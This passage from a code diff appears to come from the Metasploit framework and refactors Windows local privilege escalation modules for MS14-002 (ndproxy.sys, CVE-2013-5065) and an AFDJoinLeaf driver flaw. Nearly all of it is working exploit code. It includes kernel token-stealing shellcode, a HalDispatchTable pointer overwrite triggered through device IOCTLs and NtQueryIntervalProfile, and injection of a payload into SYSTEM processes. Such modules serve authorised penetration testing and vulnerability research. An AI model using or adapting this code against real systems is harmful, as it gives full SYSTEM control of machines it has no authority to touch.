tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
|
||||
tokenstealing << "\x75\xe8"
|
||||
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x8b\xc1"
|
||||
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x5b"
|
||||
tokenstealing << "\x5a"
|
||||
tokenstealing << "\xc2\x10"
|
||||
restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
|
||||
restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
|
||||
restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
|
||||
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')
|
||||
|
||||
restore_token = "\x52"
|
||||
restore_token << "\x33\xc0"
|
||||
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
|
||||
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
|
||||
restore_token << "\x8b\x15\x00\x09\x02\x00"
|
||||
restore_token << "\x8b\x15" + [backup_token].pack('V')
|
||||
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
restore_token << "\x5a"
|
||||
restore_token << "\xc2\x10"
|
||||
|
||||
shellcode = padding + restore_ptrs + tokenstealing
|
||||
shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)
|
||||
|
||||
this_proc.memory.write(shellcode_address_dep, shellcode)
|
||||
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
||||
this_proc.memory.protect(0x00020000)
|
||||
|
||||
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("vvVVV")
|
||||
addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
|
||||
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
|
||||
if result['return'] != 0xffffffff
|
||||
print_error("The socket is not in the correct state")
|
||||
print_error('The socket is not in the correct state')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Triggering AFDJoinLeaf pointer overwrite...")
|
||||
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
|
||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
print_status('Triggering AFDJoinLeaf pointer overwrite...')
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
|
||||
if not is_system?
|
||||
print_error("Exploit failed")
|
||||
unless is_system?
|
||||
print_error('Exploit failed')
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
proc = get_system_proc
|
||||
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
|
||||
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
|
||||
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
|
||||
|
||||
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
|
||||
host_process.memory.write(mem, payload.encoded)
|
||||
host_process.thread.create(mem, 0)
|
||||
rescue ::Exception => e
|
||||
print_error("Failed to Inject Payload")
|
||||
print_error(e.to_s)
|
||||
proc = get_system_proc
|
||||
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
|
||||
unless execute_shellcode(payload.encoded, nil, proc['pid'])
|
||||
print_error('An error occurred while executing the payload')
|
||||
end
|
||||
|
||||
# Restore the token because apparently BSODs are frowned upon
|
||||
print_status("Restoring the original token...")
|
||||
print_status('Restoring the original token...')
|
||||
shellcode = padding + restore_ptrs + restore_token
|
||||
this_proc.memory.write(shellcode_address_dep, shellcode)
|
||||
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
||||
|
||||
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
|
||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,19 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/local/windows_kernel'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info={})
|
||||
def initialize(info = {})
|
||||
super(update_info(info, {
|
||||
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
|
||||
'Description' => %q(
|
||||
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
|
||||
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
|
||||
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
|
||||
|
@ -24,31 +26,31 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
|
||||
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
|
||||
work the service "Routing and Remote Access" must be running on the target system.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'ryujin', # python PoC
|
||||
'Shahin Ramezany', # C PoC
|
||||
'juan vazquez' # MSF module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Windows XP SP3',
|
||||
['Automatic', {}],
|
||||
['Windows XP SP3',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
|
||||
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
|
||||
|
@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
|
||||
}
|
||||
],
|
||||
[ 'Windows Server 2003 SP2',
|
||||
['Windows Server 2003 SP2',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x1fa1e,
|
||||
'_KPROCESS' => "\x38",
|
||||
|
@ -67,115 +69,38 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
}
|
||||
]
|
||||
],
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-5065' ],
|
||||
[ 'MSB', 'MS14-002' ],
|
||||
[ 'OSVDB' , '100368'],
|
||||
[ 'BID', '63971' ],
|
||||
[ 'EDB', '30014' ],
|
||||
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
|
||||
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
|
||||
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
|
||||
[ 'URL', 'http://www.secniu.com/blog/?p=53' ],
|
||||
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
|
||||
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
|
||||
%w(CVE 2013-5065),
|
||||
%w(MSB MS14-002),
|
||||
%w(OSVDB 100368),
|
||||
%w(BID 63971),
|
||||
%w(EDB 30014),
|
||||
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
|
||||
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
|
||||
%w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp),
|
||||
%w(URL http://www.secniu.com/blog/?p=53),
|
||||
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
|
||||
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
|
||||
],
|
||||
'DisclosureDate'=> 'Nov 27 2013',
|
||||
'DefaultTarget' => 0
|
||||
'DisclosureDate' => 'Nov 27 2013',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
end
|
||||
|
||||
def add_railgun_functions
|
||||
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'EnumDeviceDrivers',
|
||||
'BOOL',
|
||||
[
|
||||
["PBLOB", "lpImageBase", "out"],
|
||||
["DWORD", "cb", "in"],
|
||||
["PDWORD", "lpcbNeeded", "out"]
|
||||
])
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'GetDeviceDriverBaseNameA',
|
||||
'DWORD',
|
||||
[
|
||||
["LPVOID", "ImageBase", "in"],
|
||||
["PBLOB", "lpBaseName", "out"],
|
||||
["DWORD", "nSize", "in"]
|
||||
])
|
||||
end
|
||||
|
||||
def open_device(dev)
|
||||
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
||||
r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
|
||||
|
||||
handle = r['return']
|
||||
|
||||
if handle == invalid_handle_value
|
||||
return nil
|
||||
end
|
||||
|
||||
return handle
|
||||
end
|
||||
|
||||
def find_sys_base(drvname)
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
||||
if drvname == nil
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return [address, current_drvname]
|
||||
end
|
||||
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
|
||||
return [address, current_drvname]
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def ring0_shellcode(t)
|
||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
|
||||
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
|
||||
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||
|
||||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||||
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
|
||||
ring0_shellcode = restore_ptrs + tokenstealing
|
||||
return ring0_shellcode
|
||||
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
|
||||
ring0_shellcode
|
||||
end
|
||||
|
||||
def fill_memory(proc, address, length, content)
|
||||
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||
unless proc.memory.writable?(address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
vprint_error('Failed to allocate memory')
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -184,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
result = proc.memory.write(address, content)
|
||||
|
||||
if result.nil?
|
||||
vprint_error("Failed to write contents to memory")
|
||||
vprint_error('Failed to write contents to memory')
|
||||
return nil
|
||||
else
|
||||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||||
end
|
||||
|
||||
return address
|
||||
address
|
||||
end
|
||||
|
||||
def create_proc
|
||||
|
@ -198,81 +123,51 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
# run hidden
|
||||
begin
|
||||
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
# when running from the Adobe Reader sandbox:
|
||||
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||
return nil
|
||||
end
|
||||
|
||||
return proc.pid
|
||||
proc.pid
|
||||
end
|
||||
|
||||
def disclose_addresses(t)
|
||||
addresses = {}
|
||||
|
||||
vprint_status("Getting the Kernel module name...")
|
||||
kernel_info = find_sys_base(nil)
|
||||
if kernel_info.nil?
|
||||
vprint_error("Failed to disclose the Kernel module name")
|
||||
return nil
|
||||
end
|
||||
vprint_good("Kernel module found: #{kernel_info[1]}")
|
||||
hal_dispatch_table = find_haldispatchtable
|
||||
return nil if hal_dispatch_table.nil?
|
||||
addresses['halDispatchTable'] = hal_dispatch_table
|
||||
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
|
||||
|
||||
vprint_status("Getting a Kernel handle...")
|
||||
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
||||
kernel32_handle = kernel32_handle['return']
|
||||
if kernel32_handle == 0
|
||||
vprint_error("Failed to get a Kernel handle")
|
||||
return nil
|
||||
end
|
||||
vprint_good("Kernel handle acquired")
|
||||
|
||||
|
||||
vprint_status("Disclosing the HalDispatchTable...")
|
||||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
|
||||
hal_dispatch_table = hal_dispatch_table['return']
|
||||
if hal_dispatch_table == 0
|
||||
vprint_error("Failed to disclose the HalDispatchTable")
|
||||
return nil
|
||||
end
|
||||
hal_dispatch_table -= kernel32_handle
|
||||
hal_dispatch_table += kernel_info[0]
|
||||
addresses["halDispatchTable"] = hal_dispatch_table
|
||||
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
|
||||
|
||||
vprint_status("Getting the hal.dll Base Address...")
|
||||
hal_info = find_sys_base("hal.dll")
|
||||
vprint_status('Getting the hal.dll base address...')
|
||||
hal_info = find_sys_base('hal.dll')
|
||||
if hal_info.nil?
|
||||
vprint_error("Failed to disclose hal.dll Base Address")
|
||||
vprint_error('Failed to disclose hal.dll base address')
|
||||
return nil
|
||||
end
|
||||
hal_base = hal_info[0]
|
||||
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
|
||||
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
|
||||
|
||||
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
||||
addresses["HaliQuerySystemInfo"] = hali_query_system_information
|
||||
addresses['HaliQuerySystemInfo'] = hali_query_system_information
|
||||
|
||||
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
|
||||
return addresses
|
||||
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
|
||||
addresses
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
vprint_status("Adding the railgun stuff...")
|
||||
add_railgun_functions
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
|
||||
if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
handle = open_device("\\\\.\\NDProxy")
|
||||
if handle.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
||||
return Exploit::CheckCode::Safe if handle.nil?
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
os = sysinfo["OS"]
|
||||
os = sysinfo['OS']
|
||||
case os
|
||||
when /windows xp.*service pack 3/i
|
||||
return Exploit::CheckCode::Appears
|
||||
|
@ -285,31 +180,26 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
vprint_status("Adding the railgun stuff...")
|
||||
add_railgun_functions
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
if sysinfo['Architecture'] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
elsif sysinfo['Architecture'] =~ /x64/
|
||||
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||
end
|
||||
|
||||
my_target = nil
|
||||
if target.name =~ /Automatic/
|
||||
print_status("Detecting the target system...")
|
||||
os = sysinfo["OS"]
|
||||
print_status('Detecting the target system...')
|
||||
os = sysinfo['OS']
|
||||
if os =~ /windows xp.*service pack 3/i
|
||||
my_target = targets[1]
|
||||
print_status("Running against #{my_target.name}")
|
||||
elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
|
||||
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
|
||||
my_target = targets[2]
|
||||
print_status("Running against #{my_target.name}")
|
||||
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
|
||||
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
||||
my_target = targets[2]
|
||||
print_status("Running against #{my_target.name}")
|
||||
end
|
||||
|
@ -318,100 +208,95 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if my_target.nil?
|
||||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
||||
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
|
||||
end
|
||||
|
||||
print_status("Checking device...")
|
||||
handle = open_device("\\\\.\\NDProxy")
|
||||
print_status('Checking device...')
|
||||
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
|
||||
fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
|
||||
else
|
||||
print_good("\\\\.\\NDProxy found!")
|
||||
print_good('\\\\.\\NDProxy found!')
|
||||
end
|
||||
|
||||
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
|
||||
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
|
||||
@addresses = disclose_addresses(my_target)
|
||||
if @addresses.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
|
||||
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
|
||||
else
|
||||
print_good("Addresses successfully disclosed.")
|
||||
print_good('Addresses successfully disclosed.')
|
||||
end
|
||||
|
||||
|
||||
print_status("Storing the kernel stager on memory...")
|
||||
print_status('Storing the kernel stager in memory...')
|
||||
this_proc = session.sys.process.open
|
||||
kernel_shell = ring0_shellcode(my_target)
|
||||
kernel_shell_address = 0x1000
|
||||
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
|
||||
else
|
||||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Storing the trampoline to the kernel stager on memory...")
|
||||
print_status('Storing the trampoline to the kernel stager on memory...')
|
||||
trampoline = "\x90" * 0x38 # nops
|
||||
trampoline << "\x68" # push opcode
|
||||
trampoline << [0x1000].pack("V") # address to push
|
||||
trampoline << [0x1000].pack('V') # address to push
|
||||
trampoline << "\xc3" # ret
|
||||
trampoline_addr = 0x1
|
||||
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
|
||||
else
|
||||
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Storing the IO Control buffer on memory...")
|
||||
print_status('Storing the IO Control buffer on memory...')
|
||||
buffer = "\x00" * 1024
|
||||
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
|
||||
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call
|
||||
buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
|
||||
buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
|
||||
buffer_addr = 0x0d0d0000
|
||||
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
|
||||
else
|
||||
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
||||
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
|
||||
magic_ioctl = 0x8fff23c8
|
||||
# Values taken from the exploit in the wild, see references
|
||||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
print_status('Checking privileges after exploitation...')
|
||||
|
||||
unless is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
fail_with(Failure::Unknown, 'The exploitation was not successful')
|
||||
end
|
||||
|
||||
p = payload.encoded
|
||||
print_good("Exploitation successful! Creating a new process and launching payload...")
|
||||
print_good('Exploitation successful! Creating a new process and launching payload...')
|
||||
new_pid = create_proc
|
||||
|
||||
if new_pid.nil?
|
||||
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
|
||||
print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
|
||||
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
|
||||
if execute_shellcode(p, nil, new_pid)
|
||||
print_good("Enjoy")
|
||||
print_good('Enjoy')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -66,28 +66,6 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
end
|
||||
|
||||
def add_railgun_functions
|
||||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'EnumDeviceDrivers',
|
||||
'BOOL',
|
||||
[
|
||||
["PBLOB", "lpImageBase", "out"],
|
||||
["DWORD", "cb", "in"],
|
||||
["PDWORD", "lpcbNeeded", "out"]
|
||||
])
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'GetDeviceDriverBaseNameA',
|
||||
'DWORD',
|
||||
[
|
||||
["LPVOID", "ImageBase", "in"],
|
||||
["PBLOB", "lpBaseName", "out"],
|
||||
["DWORD", "nSize", "in"]
|
||||
])
|
||||
end
|
||||
|
||||
def open_device(dev)
|
||||
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
@ -163,10 +141,6 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
|
||||
vprint_status("Adding the railgun stuff...")
|
||||
add_railgun_functions
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
|
|
|
@ -62,28 +62,6 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
end
|
||||
|
||||
def add_railgun_functions
|
||||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'EnumDeviceDrivers',
|
||||
'BOOL',
|
||||
[
|
||||
["PBLOB", "lpImageBase", "out"],
|
||||
["DWORD", "cb", "in"],
|
||||
["PDWORD", "lpcbNeeded", "out"]
|
||||
])
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'GetDeviceDriverBaseNameA',
|
||||
'DWORD',
|
||||
[
|
||||
["LPVOID", "ImageBase", "in"],
|
||||
["PBLOB", "lpBaseName", "out"],
|
||||
["DWORD", "nSize", "in"]
|
||||
])
|
||||
end
|
||||
|
||||
def open_device(dev)
|
||||
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
